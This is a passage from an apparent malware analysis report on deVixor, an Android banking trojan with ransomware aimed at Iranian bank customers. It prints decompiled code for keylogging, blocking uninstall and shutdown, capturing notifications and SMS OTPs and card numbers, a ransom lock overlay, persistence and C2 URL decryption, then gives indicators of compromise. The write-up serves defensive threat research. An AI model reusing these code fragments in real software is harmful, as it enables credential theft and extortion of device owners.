// TYPE_WINDOW_STATE_CHANGED (32) | TYPE_VIEW_TEXT_CHANGED (16) |
// TYPE_WINDOW_CONTENT_CHANGED (2048) | TYPE_NOTIFICATION_STATE_CHANGED (64)
accessibilityServiceInfo.feedbackType = 16; // FEEDBACK_GENERIC
accessibilityServiceInfo.flags = 80;
// FLAG_INCLUDE_NOT_IMPORTANT_VIEWS (2) | FLAG_REPORT_VIEW_IDS (16)
accessibilityServiceInfo.notificationTimeout = 50L; // 50ms response time
setServiceInfo(accessibilityServiceInfo);
}
6.2 Keylogger Module (o.QJ)
The keylogger intercepts all text input across every app on the device by hooking TYPE_VIEW_TEXT_CHANGED (event type 16) accessibility events. Rather than capturing every individual keystroke, which would generate noisy, hard-to-parse data, it uses a 1,200ms debounce mechanism implemented with a Handler on the main looper. Every time text changes in a focused EditText or TextInput field, the pending send callback is cancelled and rescheduled 1.2 seconds out. This means the data is only transmitted once the user stops typing, capturing complete words, sentences, or most valuably, entire passwords and usernames in a single shot. The module also records the package name of the source app alongside the text, so the C2 operator knows exactly which app the victim was typing in. The a() method validates that the source node is editable and focused before capturing, filtering out non-interactive text views that would just generate noise:
jadx_output/sources/o/QJ.java
public final class QJ {
public AccessibilityService a;
public final Handler g = new Handler(Looper.getMainLooper());
public final long h = 1200; // 1.2 second debounce delay
public String e = ""; // Current captured text
public String f = ""; // Package name of source app
// Check if the node is an editable text field
public static boolean a(AccessibilityNodeInfo node) {
String className = node.getClassName().toString();
if (node.isEditable() ||
className.contains("EditText") ||
className.contains("TextInput")) {
if (node.isFocused()) { // Only capture from focused fields
return true;
}
}
return false;
}
// Main event handler
public final void b(AccessibilityEvent event) {
if (event == null ||
event.getEventType() != 16 || // TYPE_VIEW_TEXT_CHANGED
event.getSource() == null) {
return;
}
AccessibilityNodeInfo source = event.getSource();
try {
if (a(source)) { // Is it an editable, focused field?
String text = source.getText() != null ? source.getText().toString() : "";
String packageName = event.getPackageName().toString();
// Cancel pending send, store new text, reschedule
g.removeCallbacks(i);
this.e = text;
this.f = packageName;
g.postDelayed(i, h); // Send after 1.2 second delay
}
} finally {
source.recycle();
}
}
}
6.3 Anti-Uninstall Module (o.Mh0)
This is the malware’s self-preservation module. It monitors every TYPE_WINDOW_STATE_CHANGED event for signs that the user is navigating toward anything that could be used to remove or disable the malware. The detection logic is organized into four separate checkers: h() watches for App Info screens (detecting keywords like “force stop”, “uninstall”, “disable”, “storage usage” and their Persian equivalents “توقف اجباری”, “حذف”, “حذف نصب”, “مجوزها”), f() watches for Accessibility Settings (looking for “accessibility services”, “installed services”, “screen readers”, “talkback” / “دسترسی پذیری”, “سرویس های دسترسی پذیری”), g() watches for Developer Options (“developer options”, “usb debugging”, “build number” / “گزینه های توسعه دهنده”, “اشکال زدایی USB”), and i() watches for uninstall confirmation dialogs. The bilingual approach is essential because Iranian Android devices can be set to either Persian or English UI. When a dangerous screen is detected, the module calls e(3), which fires performGlobalAction(GLOBAL_ACTION_BACK) three times in rapid succession to force the user out. There’s also a rate limiter (minimum 800ms between actions) to prevent infinite back-press loops, and the j() method adds a secondary check that detects when the user returns to their home launcher app (checking for package names containing “launcher”, “trebuchet”, “pixel”, “miui.home”, “touchwiz”, “seclauncher”, “coloros”, “oneplus”, “oppo”, and “huawei”):
jadx_output/sources/o/Mh0.java
English Keywords Detected:
- “app info”, “application info”, “force stop”, “uninstall”, “disable”
- “permissions”, “clear data”, “clear cache”, “storage usage”
- “developer options”, “usb debugging”, “development settings”
- “accessibility”, “accessibility services”, “installed services”
Persian Keywords Detected:
- “اطلاعات برنامه” (app info), “توقف اجباری” (force stop)
- “حذف”, “حذف نصب” (delete, uninstall), “مجوزها” (permissions)
- “گزینه های توسعه دهنده” (developer options), “اشکال زدایی USB” (USB debugging)
- “دسترسی پذیری” (accessibility), “سرویس های دسترسی پذیری” (accessibility services)
// When dangerous screens detected: Press Back to escape
public static void e(int i) {
AccessibilityService service = AccessibilityService.r;
for (int i2 = 0; i2 < i; i2++) {
if (service != null) {
service.performGlobalAction(1); // GLOBAL_ACTION_BACK
}
}
}
6.4 Power Button Blocker (o.C0720aY)
This module works hand-in-hand with the ransomware. Once the device is locked, the victim’s first instinct is to hold the power button and reboot, and the power blocker catches exactly that. It monitors for TYPE_WINDOW_STATE_CHANGED events from com.android.systemui, specifically the GlobalActions dialog that appears when the power button is long-pressed. It then scans the dialog’s node tree for buttons matching shutdown-related keywords in both Persian (“خاموش” for power off, “راهاندازی مجدد” for restart, “بوت مجدد” for reboot, “حالت ایمن” for safe mode) and English (“Power off”, “Turn off”, “Shutdown”, “Restart”, “Reboot”, “Safe mode”). If any match is found, a() fires two back-button presses via performGlobalAction(1) and then displays an AlertDialog with window type 2032 (TYPE_STATUS_BAR, which draws over everything) showing "🔒 عملیات مسدود شد" (Operation Blocked) with a non-cancelable “متوجه شدم” (Got it) button. The module is rate-limited to one trigger every 2,000ms to avoid stacking dialogs:
jadx_output/sources/o/C0720aY.java
Power Menu Keywords Detected:
Persian: “خاموش” (power off), “راهاندازی مجدد” (restart), “بوت مجدد” (reboot), “حالت ایمن” (safe mode)
English: “Power off”, “Turn off”, “Shutdown”, “Restart”, “Reboot”, “Safe mode”
Action: Press Back button twice and show blocking dialog: “⚠️ خاموش کردن دستگاه مسدود شده است.” (Device shutdown is blocked)
public final void b(AccessibilityNodeInfo node) {
ArrayList buttons = new ArrayList();
// Persian power menu keywords
buttons.addAll(node.findAccessibilityNodeInfosByText("خاموش"));
buttons.addAll(node.findAccessibilityNodeInfosByText("راهاندازی مجدد"));
buttons.addAll(node.findAccessibilityNodeInfosByText("حالت ایمن"));
// English power menu keywords
buttons.addAll(node.findAccessibilityNodeInfosByText("Power off"));
buttons.addAll(node.findAccessibilityNodeInfosByText("Shutdown"));
buttons.addAll(node.findAccessibilityNodeInfosByText("Restart"));
buttons.addAll(node.findAccessibilityNodeInfosByText("Safe mode"));
if (!buttons.isEmpty()) {
a(); // Block power menu
}
}
6.5 Notification Interceptor (o.OS)
The notification interceptor silently captures every notification that appears on the device by filtering for TYPE_NOTIFICATION_STATE_CHANGED (event type 64). This is a critical intelligence-gathering module since many Iranian banks send OTP codes, transaction confirmations, and balance alerts as push notifications, and this module captures them all without needing SMS access. For each notification, it extracts the title (android.title), body text (android.text), and expanded text (android.bigText) from the notification extras bundle, preferring bigText when available since it often contains the full message that gets truncated in the collapsed notification. It also resolves the source app’s display name from the package name via PackageManager. Each entry is formatted with emoji-decorated headers and appended to notificationListener.txt in the app’s internal files directory, with a running counter that numbers every captured notification. The log file is append-mode (true flag on FileOutputStream), so it accumulates indefinitely until the C2 operator retrieves it:
jadx_output/sources/o/OS.java
public final void a(AccessibilityEvent event) {
if (event == null || event.getEventType() != 64) return; // TYPE_NOTIFICATION_STATE_CHANGED
Notification notification = (Notification) event.getParcelableData();
Bundle extras = notification.extras;
// Extract notification content
String title = extras.getCharSequence("android.title").toString();
String text = extras.getCharSequence("android.text").toString();
String bigText = extras.getCharSequence("android.bigText").toString();
if (bigText.length() > 0) text = bigText; // Prefer expanded text
// Format and write to log file
String logEntry =
"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n" +
"🔔 Notification #" + (++b) + "\n" +
"📱 App: " + appName + "\n" +
"📝 Title: " + title + "\n" +
"💬 Text: " + text + "\n" +
"⏰ Time: " + timestamp + "\n";
// Append to notificationListener.txt
FileOutputStream fos = new FileOutputStream(
new File(service.getFilesDir(), "notificationListener.txt"), true);
fos.write(logEntry.getBytes());
fos.close();
}
Part 7: Ransomware Module
7.1 Configuration
The ransomware module is managed by o.CM and stores its state in LockTouch.json on the device’s external files directory. The configuration is a simple JSON object with four fields: status ("yes" or "no"), a Persian-language description message, the TRON wallet_address, and the tron_amount. The choice of TRON over Bitcoin or Ethereum is deliberate. TRX transactions have near-zero fees and confirm in seconds, making them practical for the small ransom amounts (50 TRX, roughly $6-7 USD) that Iranian victims would actually pay. The low amount itself is likely a calculated decision: high enough to monetize at scale, low enough that victims will pay rather than seek help. When CM initializes, it creates the config file with status: "no" as the default, waiting for the C2 operator to flip the switch:
jadx_output/sources/o/CM.java
public static void a(File file) {
JSONObject config = new JSONObject();
config.put("status", "no");
config.put("description",
"دستگاه قفل شده است. برای باز کردن قفل مبلغ را واریز کنید.");
// Translation: "Device is locked. Transfer the amount to unlock."
config.put("wallet_address", "TYDzsYUEpvnYmQk9sWMcTEd2MiAtW6");
config.put("tron_amount", 50.0); // 50 TRX (~$6-7 USD)
writeFile(file, config.toString(2));
}
7.2 Ransomware IoCs
| Indicator | Value |
|---|---|
| Blockchain | TRON (TRX) |
| Wallet Address | TYDzsYUEpvnYmQk9sWMcTEd2MiAtW6 |
| Default Ransom | 50 TRX (~$6-7 USD) |
| Config File | LockTouch.json |
| Config Location | getExternalFilesDir(null) |
| Lock Message Language | Persian (Farsi) |
7.3 Lock Screen Overlay
The ransomware overlay is rendered using window type 2032 (TYPE_ACCESSIBILITY_OVERLAY), which is only available to accessibility services and draws above everything, including the system lock screen, the status bar, and the navigation bar. The layout parameters use MATCH_PARENT (-1) for both width and height to fill the entire screen, and the flag value 262440 combines FLAG_NOT_TOUCH_MODAL, FLAG_LAYOUT_IN_SCREEN, and several other flags that prevent the user from interacting with anything behind the overlay. The pixel format is set to TRANSLUCENT (-3). Combined with the power button blocker from section 6.4, this creates a situation where the victim cannot dismiss the overlay, cannot navigate away from it, and cannot even reboot the device. The only options are paying the ransom or performing a factory reset (which requires USB access to the bootloader). The overlay includes a QR code for the TRX wallet address and a “Check Payment” button:
// Window parameters for full-screen, non-dismissable overlay
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
-1, -1, // MATCH_PARENT width and height
2032, // TYPE_ACCESSIBILITY_OVERLAY
262440, // FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN | etc.
-3); // TRANSLUCENT pixel format
windowManager.addView(lockView, params);
7.4 Ransomware Activation Command
The ransomware is activated via the RANSOMWARE C2 command, handled by o.C2506tB (case 1 in its command switch). The command format is RANSOMWARE:1:description:wallet:amount, split by colon into 5 parts using Za0.j0(). This means the C2 operator has full control over the ransom message, wallet address, and demanded amount for each individual victim, enabling targeted pricing or custom messages. The handler writes a new LockTouch.json with status: "yes" and the provided parameters. Removal is equally simple: the REMOVE_RANSOMWARE command (handled in YA.java case 22) just deletes the LockTouch.json file, instantly unlocking the device:
jadx_output/sources/o/C2506tB.java
// Command format: RANSOMWARE:1:description:wallet:amount
public final Object n(Object obj) throws JSONException {
List parts = Za0.j0(command, new String[]{":"}, 5, 2);
String description = (String) parts.get(2);
String wallet = (String) parts.get(3);
double amount = Double.parseDouble((String) parts.get(4));
// Create/update ransomware config
File file = new File(service.getExternalFilesDir(null), "LockTouch.json");
JSONObject config = new JSONObject();
config.put("status", "yes"); // Activate lock
config.put("description", description);
config.put("wallet_address", wallet);
config.put("tron_amount", amount);
writeFile(file, config.toString());
}
Part 8: Bank SMS Parsing and Data Exfiltration
8.1 Bank Sender ID Mappings
The SMS parsing engine in ForegroundService (starting around line 1200) contains a hardcoded database of 80+ sender identifiers covering 30+ Iranian banks. Each bank is represented by a C1367hB object (which we mapped to BankSenderMapping) containing three fields: the bank’s Persian name, a list of known SMS sender IDs (including alphanumeric sender names like "BMI", short codes like "300017", and full phone numbers like "+98700717"), and a list of associated mobile banking app names. This database allows the malware to classify any incoming SMS. When a message arrives, the sender address is matched against every bank’s sender list to determine which bank it’s from, which then drives the parsing logic for extracting balances, card numbers, and OTPs. The thoroughness is notable: Bank Melli alone has 11 different sender IDs registered, and every major Iranian bank is covered:
jadx_output/sources/ir/devixor/app/service/ForegroundService.java (Lines 1200-1250)
// Bank Melli Iran - 11 sender IDs
C1367hB bankMelli = new C1367hB(
"بانک ملی ایران", // Bank name in Persian
AbstractC0008Ai.S(
"BMI", "Bankmelli", "BankMelli", "+98700717", "700717",
"9830009417", "++983000941001", "300017", "20004000",
"+989830009417", "+987007058"
),
Collections.singletonList("بام") // BAM app name
);
// Bank Mellat - 6 sender IDs
C1367hB bankMellat = new C1367hB(
"بانک ملت",
AbstractC0008Ai.S("Bankmellat", "BankMellat", "Bank Mellat",
"10004001", "200033", "200030"),
Collections.singletonList("همراه بانک ملت")
);
// Bank Tejarat
C1367hB bankTejarat = new C1367hB(
"بانک تجارت",
AbstractC0008Ai.S("TejaratBank", "Tejarat", "BankTejarat",
"200070", "20007010"),
Collections.singletonList("همراه بانک تجارت")
);
// Bank Saderat Iran
C1367hB bankSaderat = new C1367hB(
"بانک صادرات ایران",
AbstractC0008Ai.S("Saderat", "BankSaderat", "EBI", "200060"),
Collections.singletonList("همراه بانک صادرات")
);
// Bank Pasargad - 5 sender IDs
C1367hB bankPasargad = new C1367hB(
"بانک پاسارگاد",
AbstractC0008Ai.S("BPI", "B.Pasargad", "BankPasargad",
"50009000", "5000114"),
Collections.singletonList("همراه بانک پاسارگاد")
);
// ... 30+ more banks configured
8.2 Monitored Banking Apps (44 Apps)
The GET_BNC_APPS command (case 15 in YA.java) carries a hardcoded list of 44 Iranian banking and financial app names, not package names, but the Persian display names that appear in the launcher. The module queries all installed apps and matches their labels against this list, then reports back which banking apps are present on the device. This serves as reconnaissance for the C2 operator: knowing which banking apps the victim uses tells them exactly which overlay attacks to deploy and which SMS sender IDs to prioritize for OTP interception. The list covers state banks, private banks, neobanks, and payment apps:
Monitored Banking Apps:
همراه بانک سپه, مگابانک, ویپاد, همراه کارت رفاه, بلو, همراه بانک ملت, فوریبکس, کیلید, بانکت, زیپاد, باجت, بام, فرا رفاه, متابانک, بلو جونیور, بانکیار, باران, همراه بانک صادرات, همراه بانک تجارت, موبایل بانک رفاه, همراه بانک شهرپلاس, همراه بانک ایران زمین, همراه بانک کشاورزی, همپا, همراهبانک قرضالحسنه مهر ایران, بانکینو, همراه بانک پاسارگاد, همراه بانک قرض الحسنه رسالت, موبایل بانک گردشگری, موبایلت, پارسیان من, دی جت, تک بانک سرمایه, Hamrah Novin, همراه بانک ملل, همراه بانک توسعه تعاون, آبانک, های بانك, توبانک, blu, 724, هفـ هشتاد, Maskan, آپ
8.3 Card Number Extraction
Iranian bank card numbers are 16-digit Shetab network numbers, typically formatted as four groups of four separated by dashes or spaces. The challenge is that Iranian SMS messages can contain digits in three different numeral systems: Western Arabic (0-9), Persian (۰-۹, Unicode 0x06F0-0x06F9), and Eastern Arabic (٠-٩, Unicode 0x0660-0x0669). The malware’s regex pattern handles all three with character classes that match any variant, and the conversion code maps Persian numerals (code points 1776-1785) and Arabic numerals (code points 1632-1641) back to their integer values by subtracting the base code point. The GET_CARD_NUMBER command caps extraction at 50 unique card numbers to avoid duplicate reporting:
// Card number pattern supporting Persian/Arabic numerals
Pattern cardPattern = Pattern.compile(
"(?:(?:\\d|[۰-۹]|[٠-٩]){4}[-\\s]?){3}(?:\\d|[۰-۹]|[٠-٩]){4}"
);
// Persian numeral conversion
if (1776 <= charCode && charCode < 1786) { // Persian ۰-۹
sb.append(charCode - 1776);
} else if (1632 <= charCode && charCode < 1642) { // Arabic ٠-٩
sb.append(charCode - 1632);
}
8.4 Balance and OTP Extraction
The SMS parsing engine in ForegroundService.l0() (lines 2489-2643) queries content://sms/inbox with a date DESC sort and configurable limit (up to 5,000 for bank SMS). For each message, two regex patterns run against the body. The balance pattern looks for "موجودی" (balance) or "مانده" (remaining) followed by a colon and a number with Persian comma separators (٬). The OTP pattern matches "رمز" (password/code) optionally followed by "پویا" (dynamic) or "یکبارمصرف" (one-time use), as well as the English "OTP", and extracts the 5-8 digit code that follows. Both patterns handle the Persian/Arabic numeral variants. The GET_ACCOUNT_SUMMARY command at line 1403 uses these patterns to build a comprehensive financial profile of the victim, including bank names, balances, card numbers, and recent OTPs, all extracted purely from the SMS inbox without ever touching the banking apps themselves:
// Balance extraction pattern (Persian)
Pattern balancePattern = Pattern.compile(
"(?:موجودی|مانده)[::\\s]*([\\d٬,]+)"
);
// Matches: "موجودی: 1,234,567" or "مانده: ۱،۲۳۴،۵۶۷"
// OTP extraction pattern
Pattern otpPattern = Pattern.compile(
"(?:رمز(?:\\s*(?:پویا|یکبارمصرف))?|OTP)\\s*[::\\-]?\\s*([0-9۰-۹]{5,8})",
Pattern.CASE_INSENSITIVE
);
// Matches: "رمز پویا: 123456" or "OTP: 87654321"
Part 9: Persistence and Anti-Analysis
9.1 Foreground Service Persistence
The ForegroundService uses a belt-and-suspenders approach to stay alive. On start, onStartCommand() acquires a PARTIAL_WAKE_LOCK with the tag "deVixor::Wake" (reference-counted disabled, so it’s held indefinitely) to prevent the CPU from sleeping. It returns START_STICKY, telling the Android system to restart the service if it’s killed. But the real persistence trick is in onDestroy(). Even if Android kills the service, the destroy callback schedules a restart via AlarmManager.setAndAllowWhileIdle() with a 2-second delay, which fires even in Doze mode. The onCreate() method stores a static reference (ForegroundService.x = this), sets up Firebase message handling via the TS class, creates the notification channel ("ghost_service_channel"), and starts the foreground notification. The notification channel is configured to be as invisible as possible: lights disabled, vibration disabled, badge disabled, sound null, and lockscreen visibility set to -1 (hidden):
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Acquire wake lock to prevent CPU sleep
PowerManager.WakeLock wakeLock =
((PowerManager) getSystemService("power"))
.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "deVixor::Wake");
wakeLock.setReferenceCounted(false);
wakeLock.acquire();
return START_STICKY; // Restart if killed
}
@Override
public void onDestroy() {
// Schedule restart via AlarmManager
AlarmManager alarmManager = (AlarmManager) getSystemService("alarm");
alarmManager.setAndAllowWhileIdle(
AlarmManager.ELAPSED_REALTIME,
SystemClock.elapsedRealtime() + 2000, // Restart in 2 seconds
pendingIntent
);
super.onDestroy();
}
9.2 Boot Receiver
The RestartReceiver is registered with directBootAware="true" and priority="1000" (the maximum), ensuring it’s one of the first receivers to fire after a reboot. It handles five different boot-related intents to cover as many device manufacturers as possible: the standard BOOT_COMPLETED, the direct-boot LOCKED_BOOT_COMPLETED (fires before the user unlocks the device for the first time), the Android QUICKBOOT_POWERON, the HTC-specific variant, and MY_PACKAGE_REPLACED (fires when the app is updated). On each trigger, the receiver posts a delayed Runnable (3-second delay) that starts the ForegroundService, giving the system time to finish boot initialization before the malware’s service kicks in:
<receiver android:name="ir.devixor.app.receiver.RestartReceiver"
android:directBootAware="true"
android:permission="android.permission.RECEIVE_BOOT_COMPLETED">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
<action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>
</intent-filter>
</receiver>
9.3 Activity Aliases (Icon Disguise System)
The icon disguise system is one of deVixor’s more creative anti-detection features. Android’s <activity-alias> mechanism lets an app register multiple launcher entries pointing to the same activity but with different icons and labels. deVixor declares 11 aliases in its manifest, each with android.intent.action.MAIN and android.intent.category.LAUNCHER. The HIDE command disables the default alias and enables the YouTube one using PackageManager.setComponentEnabledSetting(), making the app appear as “YouTube” with a YouTube icon in the launcher. The SecondActivityAlias is particularly sneaky: its label is a Unicode Braille blank character (⠀) and its icon is a transparent PNG, making it effectively invisible in the app drawer. The bank aliases (Melli, Mellat, Tejarat, Saderat, Sepah, Refah, Pasargad) use the actual bank logos and Persian names, so the malware disguises itself as whichever banking app would seem most natural on the victim’s device. The auto_hide.json asset file contains {"auto_hide": "on"}, suggesting the malware can automatically switch to a disguised icon shortly after installation:
| Alias | Icon | Label | Purpose |
|---|---|---|---|
MainActivityAlias | logo | App Name | Default launcher |
SecondActivityAlias | transparent | ⠀ (Braille blank) | Invisible mode |
YouTubeActivityAlias | logo_youtube | YouTube | YouTube disguise |
MelliActivityAlias | melli | ملی | Bank Melli disguise |
MellatActivityAlias | mellat | ملت | Bank Mellat disguise |
TejaratActivityAlias | tejarat | تجارت | Bank Tejarat disguise |
SaderatActivityAlias | saderat | صادرات | Bank Saderat disguise |
SepahActivityAlias | sepah | سپاه | Bank Sepah disguise |
RefahActivityAlias | refah | رفاه | Bank Refah disguise |
PasargadActivityAlias | pasargad | پاسارگاد | Bank Pasargad disguise |
BluActivityAlias | logo_app_blu | بلو | Blu Bank disguise |
9.4 C2 URL Encryption
The C2 URL protection in o.Fh0 is the most technically sophisticated part of the malware’s anti-analysis arsenal. Rather than a single encryption layer, it chains five transformations that must be reversed in order. The encrypted string is dot-delimited with six fields: a version tag ("v1"), a Base64-encoded IV, salt, nonce, JSON metadata (containing a schema checksum used to verify decryption integrity), and the encrypted payload itself. The Base64 encoding uses URL-safe variants (replacing - with + and _ with /). The decryption flow derives two separate AES keys from hardcoded labels ("enc-key-1" and "enc-key-2") using HMAC-SHA256/SHA512, runs two passes of AES/CTR decryption with different key/nonce pairs, applies a Fisher-Yates-based S-Box permutation seeded from the metadata, and finally Zlib-decompresses the result. The AbstractC1480iS server config manager first checks for a dynamically-updated URL in server.txt (written by the CHANGE_SERVER command). If that doesn’t exist, it falls back to decrypting the hardcoded default embedded in the class:
// Encrypted C2 URL format: version.iv.salt.nonce.metadata.payload
public static String g(String str) {
List parts = Za0.k0(str, new char[]{'.'});
String version = (String) parts.get(0); // "v1"
byte[] iv = b((String) parts.get(1)); // Base64 decoded IV
byte[] salt = b((String) parts.get(2)); // Base64 decoded salt
byte[] nonce = b((String) parts.get(3)); // Base64 decoded nonce
byte[] metadata = b((String) parts.get(4)); // Base64 JSON metadata
byte[] encrypted = b((String) parts.get(5)); // Encrypted payload
// Layer 1: Derive key using HmacSHA256/512
byte[] key1 = c("enc-key-2", iv);
// Layer 2: First AES/CTR decryption
byte[] intermediate = a(encrypted, key1, nonce);
// Layer 3: Second AES/CTR decryption
byte[] key2 = c("enc-key-1", iv);
byte[] decrypted = a(intermediate, key2, salt);
// Layer 4: S-Box permutation (Fisher-Yates based)
byte[] permuted = d(decrypted, metadata);
// Layer 5: Zlib decompression
return e(permuted);
}
9.5 Disguised Notification
Android requires foreground services to display a persistent notification, so the malware makes its notification look exactly like a Google Play Store update. The notification title is "Google Play", the body text is "Google Play - بروزرسانی برنامهها" (App Updates) in Persian, and the icon uses the Play Store logo. The PendingIntent attached to the notification points to market://details?id=org.telegram.messenger, so if the user taps it, they get redirected to Telegram’s Play Store page, which seems innocuous. The notification is configured with PRIORITY_MIN to minimize visibility, and both sound and vibration are explicitly set to null. On the notification channel level (created in method W()), lights, vibration, badge, and sound are all disabled, and lockscreen visibility is set to -1 to hide it from the lock screen entirely. On Android 11+ (API 30), the service also creates a home screen shortcut for additional persistence:
NotificationCompat.Builder builder =
new NotificationCompat.Builder(this, "ghost_service_channel");
builder.setContentTitle("Google Play");
builder.setContentText("Google Play - بروزرسانی برنامهها"); // "Updating apps"
builder.setSmallIcon(R.drawable.ic_notification);
builder.setLargeIcon(googlePlayIcon);
builder.setPriority(NotificationCompat.PRIORITY_MIN);
builder.setSound(null);
builder.setVibrate(null);
Part 10: Indicators of Compromise
The following IOCs were extracted directly from the decompiled source code, asset files, and the AndroidManifest. The file indicators are particularly useful for endpoint detection. The presence of LockTouch.json, keylog.txt, or notificationListener.txt in an app’s data directory is a strong signal of deVixor infection. The network indicators can be used for DNS/proxy-level blocking, and the YARA rule at the end combines structural, string, and behavioral signatures for scanning APK repositories.
10.1 File Indicators
| File | Location | Purpose |
|---|---|---|
port.json | assets/ | Bot ID: deVixor_Qq1tjN49 |
permission.json | assets/ | Permission request configuration |
webview.json | assets/ | Encrypted C2 URL |
off_mod.json | assets/ | Offline mode phone: 09014019397 |
auto_hide.json | assets/ | Auto-hide configuration |
server.txt | files/ | Dynamic C2 URL |
firebase.txt | files/ | FCM configuration |
LockTouch.json | external/ | Ransomware configuration |
keylog.txt | files/ | Keylogger output |
notificationListener.txt | files/ | Notification logs |
status_hide.txt | files/ | Icon hide status |
OfMod.json | files/ | Offline mode data |
lastsms.txt | files/ | Last SMS cache |
10.2 Network Indicators
| Indicator | Value | Purpose |
|---|---|---|
| FCM Topic | deVixor_Qq1tjN49 | C2 communication channel |
| IP Check | https://api.ipify.org | Public IP detection |
| Payment Gateway | https://bpm.shaparak.ir | Shaparak phishing |
| Default WebView | https://digikala.com | Decoy content |
Conclusion
deVixor is not a quick-and-dirty banking trojan slapped together from leaked source code. It’s a purpose-built tool designed by someone with deep knowledge of both Android internals and the Iranian financial ecosystem. Through reverse engineering all 4,824 obfuscated classes, we’ve documented a complete malware platform that combines credential theft, ransomware, comprehensive device surveillance, and multiple persistence mechanisms into a single, well-structured codebase. The code quality is notably high. The modular AccessibilityService architecture with isolated try-catch blocks per handler, the multi-layer C2 encryption, the manufacturer-specific code paths for Samsung and Xiaomi, and the SMS-based offline fallback C2 channel all point to an experienced developer or team.
Key Findings Summary
- 4,824 obfuscated classes systematically mapped to their actual purposes through code analysis
- 9 Iranian banks targeted with hardcoded URLs and CSS selectors for credential theft
- 25+ RAT commands for comprehensive device control including SMS, contacts, photos, USSD
- 6 Accessibility Service modules for keylogging, anti-uninstall, power blocking, notification capture
- Ransomware module demanding 50 TRX cryptocurrency via TRON blockchain
- 11 activity aliases for sophisticated icon disguise (YouTube, Iranian banks, invisible)
- 80+ bank sender IDs for comprehensive SMS parsing
- 44 banking apps monitored for detection
- Multi-layer C2 encryption using AES/CTR, HMAC, S-Box permutation, and Zlib
- Bilingual support (Persian/English) throughout the codebase
Threat Assessment
Several aspects of deVixor stand out from a threat intelligence perspective. The bilingual keyword detection (Persian and English) in the anti-uninstall and power-blocking modules shows the author understands that Iranian devices can be configured in either language. The Samsung and Xiaomi manufacturer-specific handling targets the two most popular Android OEMs in Iran. The use of TRON cryptocurrency (rather than Bitcoin) for ransomware payments reflects awareness of what’s accessible and practical in the Iranian market. The configurable permission.json and multiple decoy activities suggest this is a framework designed for multiple campaigns with different social engineering lures. And the offline SMS C2 channel with Persian commands is a resilience feature we rarely see in commodity Android malware, implying the operators anticipate operating in environments with intermittent internet connectivity.
Additional Reading
GET IN TOUCH
Visit our training page if you’re interested in learning more about these techniques. Check out our Certifications Program. Please don’t hesitate to reach out through our Contact Us page.